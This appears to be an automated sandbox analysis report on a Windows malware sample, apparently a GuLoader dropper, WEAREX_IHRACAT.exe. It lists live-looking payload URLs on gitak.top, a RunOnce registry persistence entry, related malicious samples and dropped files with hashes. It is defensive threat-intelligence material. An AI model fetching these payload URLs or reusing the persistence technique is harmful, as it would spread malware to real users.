https://gitak.top/K~v	WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binl	WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binz	WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828251598.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/My	WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/Y~	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin7~	WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/W~	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/c~	WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gitak.top/dmAaHCQMI79.bin(	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binAuthority	WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/o~	WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/9~	WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.207.219	gitak.top	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501093
Start date and time:	2024-08-29 12:37:38 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WEAREX_IHRACAT.exe
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@3/10@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 71% Number of executed functions: 46 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, UserOOBEBroker.exe, WMIADAP.exe, conhost.exe, MoUsoCoreWorker.exe, UsoClient.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:40:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Aaregang C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe
12:40:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Aaregang C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.207.219	z15OrderN_24OS1275del26-08-2024_LTBLLC_.exe	Get hash	malicious	GuLoader	Browse	gitak.top/ylDilrpYb69.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitak.top	z15OrderN_24OS1275del26-08-2024_LTBLLC_.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	debit-note-19-08-dn-2024.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	doc09125520240407073114.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.22.240
	HE9306_AWBLaser_Single240812144358.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	z41_EX24-772_24.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	_EX24-772_24341300EX00314559_ARI TEKST#U0130L_KontrolCiktisiEkliListe.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.22.240
	qEW7hMvyV7.exe	Get hash	malicious	FormBook	Browse	172.67.207.219
	z9T__VAUSTRIATURK-TEKL__F.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.22.240
	z1_____________.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.207.219
	vV389MGvCt9jWzm.exe	Get hash	malicious	Lokibot	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	mU4lYkmS6K.exe	Get hash	malicious	CobaltStrike	Browse	188.114.97.3
	d3d9x.dll	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://sgsconsulting.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	Invoice.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	mU4lYkmS6K.exe	Get hash	malicious	CobaltStrike	Browse	188.114.96.3
	DHL Page1.exe	Get hash	malicious	GuLoader	Browse	104.26.12.205
	Q8qimBtTQB.dll	Get hash	malicious	Metasploit	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Upit za prevoz 28 08 2024 1037 Agrorit d.o.o.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Autofill Manufacturing Sdn Bhd 28-08-2024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Fordybendes.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.207.219
	AyyPZaqgaZ.exe	Get hash	malicious	Unknown	Browse	172.67.207.219
	Requesr for quotation-sample catalog.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.207.219
	Programa de Mentoring y Apoyo a la Internacionalizaci#U00f3n.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	Teklif Talebi.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	5649237431_23-10-23-08.49.23.0107.07.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	Estado de cuenta y facturas..exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	fatura.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219
	227979659-051450-sanlccjavap0004-13413.exe	Get hash	malicious	GuLoader	Browse	172.67.207.219

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll	sample.exe	Get hash	malicious	FormBook, GuLoader	Browse
	sample.exe	Get hash	malicious	GuLoader	Browse
	8737768___19082024.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	8737768___19082024.vbs	Get hash	malicious	GuLoader	Browse
	Q8QeOUbRK0.exe	Get hash	malicious	GuLoader	Browse
	Q8QeOUbRK0.exe	Get hash	malicious	GuLoader	Browse
	Thunderstore Mod Manager - Installer.exe	Get hash	malicious	Unknown	Browse
	Thunderstore Mod Manager - Installer.exe	Get hash	malicious	Unknown	Browse
	URYmWe54UY.exe	Get hash	malicious	DCRat	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	416292
Entropy (8bit):	7.844332745869164
Encrypted:	false
SSDEEP:	12288:NtjALF2QGm6An6r2vvCi1JQhmlfwfmgpTxDFlvT:HYUQcAn66C+JQhml4bhx3T
MD5:	2E620407C0B25239EF46534A34217C27
SHA1:	1751F775E9E9279757EC94C9F4CF63B01AF42525
SHA-256:	A49B3780D9A1AF972B0E6D252284EDFF3B00E35713336456579431F1081DEBE4
SHA-512:	14A0898606E1B8405EDB8B790F65EE207E4FE3E1DFDC4F21C6A5014730E80CDC5BFFAF9D5AF54FC8070CC59FD4873C16A89736FD8DD7733F900A8C6D14755457
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L....f.R.................`.........X3.......p....@..........................p...............................................t.......0..P6...........................................................................p...............................text...f^.......`.................. ..`.rdata..T....p.......d..............@..@.data................x..............@....ndata...................................rsrc...P6...0...8...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.813979271513012
Encrypted:	false
SSDEEP:	192:eF2HS5ih/7i00dWz9T7PH6lOFcQMI5+Vw+bPFomi7dJWsP:rSUmlw9T7DmnI5+N273FP
MD5:	7399323923E3946FE9140132AC388132
SHA1:	728257D06C452449B1241769B459F091AABCFFC5
SHA-256:	5A1C20A3E2E2EB182976977669F2C5D9F3104477E98F74D69D2434E79B92FDC3
SHA-512:	D6F28BA761351F374AE007C780BE27758AEA7B9F998E2A88A542EEDE459D18700ADFFE71ABCB52B8A8C00695EFB7CCC280175B5EEB57CA9A645542EDFABB64F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: sample.exe, Detection: malicious, Browse Filename: sample.exe, Detection: malicious, Browse Filename: 8737768___19082024.vbs, Detection: malicious, Browse Filename: 8737768___19082024.vbs, Detection: malicious, Browse Filename: Q8QeOUbRK0.exe, Detection: malicious, Browse Filename: Q8QeOUbRK0.exe, Detection: malicious, Browse Filename: Thunderstore Mod Manager - Installer.exe, Detection: malicious, Browse Filename: Thunderstore Mod Manager - Installer.exe, Detection: malicious, Browse Filename: URYmWe54UY.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L....f.R...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..B....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsrB208.tmp

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	data
Category:	dropped
Size (bytes):	745777
Entropy (8bit):	5.134868187373461
Encrypted:	false
SSDEEP:	12288:cTrjMyfE4/Iv34vwEaSly2rjs2QD4bpPMwNP+qf:c1fvrCEHcqf
MD5:	DF83E71E1F504BA452688A89CEBF2651
SHA1:	6FF125C56A32F86EEBA91A003BCF03F3E571C355
SHA-256:	3D5C790BC1C1A1708DD88368CC17ADC9C38FB2375D31E759373A1FCC38B47DEB
SHA-512:	F567511563FAF0D4E5E47A1E1DA009807C8E5D8D158DE2B3BC2758C841445D9B54F2191C0755D1C2D341A69BD2F93348F645BCAB1EB87740D0D9AA147788E5BE
Malicious:	false
Reputation:	low
Preview:	:0......,................................/......:0..........................................................................................................................................................................................................................................G..._...............j...............................................................................................................................d...........K...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\gangningerne\jot\mtn\Discomplexion\Modulsystemernes.Tie

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	data
Category:	dropped
Size (bytes):	211920
Entropy (8bit):	7.504741823549338
Encrypted:	false
SSDEEP:	3072:kalBfm7DD6XYVXaeQ9O6hE4omcKJV1ICwQYm64BoHSoQq1CIrJmbLd7:kD7DDAe2O6hE4ou1Ivm640SwEWJ+J7
MD5:	A2F5F04E983190C0354C8362548F3AF2
SHA1:	241D36CB0F4490E394F914CB2876A2EECDDD4F9A
SHA-256:	915CD18120B0827AFA12CA7D9C702A61F88541EED6D896779D62BA581251D573
SHA-512:	62A7B90AA0CFF62A6EC316D312E39E786BAEB008CEC661EE4879E181353F82AF3F9F6771C6390CE1071BE42C38667897AA1E9AF5D8B05D06DBBC21337BC449DF
Malicious:	false
Reputation:	low
Preview:	..........rrr...CC.................**.UU...u...................(.............!..............+.......--.....ttt..........................\\.k......l..~...f...................Y............CC............B..+..u.....................a...jjj.s....JJJ.....77...........#..&&.T...HH............ZZ.77........................y.......```.............ZZ....g.................<<..L......................................................................z......................vvvv..........................f..LLL.......2....r........l.uu.......h..Z.........DDDDD....... .....zzz...............$$$.............DD.WW.......M..........".N....l....H....................9.X...........K.................W............................KK./...........c..J.....nn.......,,,.f................^.........]...I......^..~~~~..........................vvv...V..............!!....^....EE........z.................vv..........33.........[..jj........................&..k.....%%%%%...e..{.................###.JJ.............ZZZZ.....--.

C:\Users\user\gangningerne\jot\mtn\Discomplexion\Sengeheste.txt

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	459
Entropy (8bit):	4.242630904692509
Encrypted:	false
SSDEEP:	6:6nW2JmgMuFGRvTrhJXVD7u0DrFSWbfAZaIkJLRH9CFeaoaTgKgXJTfC53MZUcAzK:6WsLFmjlPXFtAZULRA8VKgXQCHw791Iz
MD5:	1459E91F25E94A3A75C331FEE10CE27B
SHA1:	98619C367B9C295221E9D419308A7160F927566B
SHA-256:	71F06CE6041A49F416D50E6BC6FF252D44A4829209B9778352D5F03C8120CEA0
SHA-512:	8FC53DB6ECC6902D55EA0CAFC09201FEEBF30B95B1613489D81031DBFB27F5D222F4AE29F5868081F9F864DB11030B0DE5234CB076C672EBF038B6DF730DA459
Malicious:	false
Reputation:	low
Preview:	repositioning astronavigator brskurserne emirater spegeplsen laurustinus,banco bunket prostaglandin contrate storkunderabatter,medicinalfabrikker preprocessed opstrmmes hound,polysepalous focussable foederis elida radiofrequency repressaliernes specialprogrammernes pennine lufttrykkene..degenerating lumskt overpraticed feague omarrangerer kvadratrodstegnets brutalism sequacity svingfjers krageternes..solarieudlejningerne synders centaurdom cromme romjdos.

C:\Users\user\gangningerne\jot\mtn\Discomplexion\Soldede.Phy

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	443430
Entropy (8bit):	2.6516475435571305
Encrypted:	false
SSDEEP:	1536:4KsgyDvUmRMEiHVKTdrWTjI4h4UK0I5ZVAmKNXUArf7bGSlFEiKEz+gNufpwX81G:LCyQi1vNbGoj28h02QD4bpPM1ONP7
MD5:	0667E0457CC4EB7E2455A757544890F9
SHA1:	110F026C12E0C1A53FC59424741580ADC6C1CBCA
SHA-256:	EFF5D379FC2733E5FD0860EB112E465A364BCB19C9F0652E4CFC57DD87F739D0
SHA-512:	A1E570E1B981E2AA8DC66D8909625E614E039E5052CE3F5C086F63F1400C45BD7DDA23E316BC1B3341AFCD8890E96F1681324C07B451821A8BEE1743D7061D5B
Malicious:	false
Preview:	000000ACACAC003A005800040000004F000000000000000000000054004100B10000000094006B001A1A1A1A00FB00000000C9C90000020200A700D2004D0034343400330000007E7E002500000000636363001C1C1C1C1C1C00B7B7000000BABA00E80000860000220000000000000000C8C800000000001F1F1F000000262600007373001F000000A500000000000200000000A00000000000000D0D000007008F8F8F0000009D000200FBFB001600FAFAFA000000004F4F4F0000AA00002727000000009E9E9E9E9E005500009C9C000000EE00D40000C600F300009500B90041006B6B00EC00590000006E0000002A2A2A2A0000710000F80000000C0000ECEC001D1D000000D7000909000000B5000000F7F7F700787878780036000000E70033007400000404008C8C8C0000002800000077777700CECECE003700004A4A00000000008F00666600000074001C1C00290000AF00006C00005C5C002525250000F2005400000000FD0000DF0000CC0000CDCDCD001600000000006161001400000000FD0031313100530000000000530000000000006F00FFFFFF000000EBEBEB003700009595959595959500BB00FEFE0000E2E2E20000BF00C7C7006E00565656560000E600F9F9F900B6000000000000009E00260000D30000008080009B9B9B9B006F0000E8E8E8E8E8E80000009700

C:\Users\user\gangningerne\jot\mtn\Discomplexion\hulen.urh

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	data
Category:	dropped
Size (bytes):	2857
Entropy (8bit):	3.0576925960783385
Encrypted:	false
SSDEEP:	48:7jDlwCYXrZEulT+rBVMgyyTuSAa8MIQxxHFFTh/A:HdYXrZXSrHMgd38xQjFth/A
MD5:	731DFA6DF00249CAC29566287712DB7E
SHA1:	D0395A078EDEDE1FFF4B5F6921549257F9128864
SHA-256:	1A039C58A7D2CA90AFFCF28F5ADBA163CE0E38109A8E258E28D49F5D9A5E157C
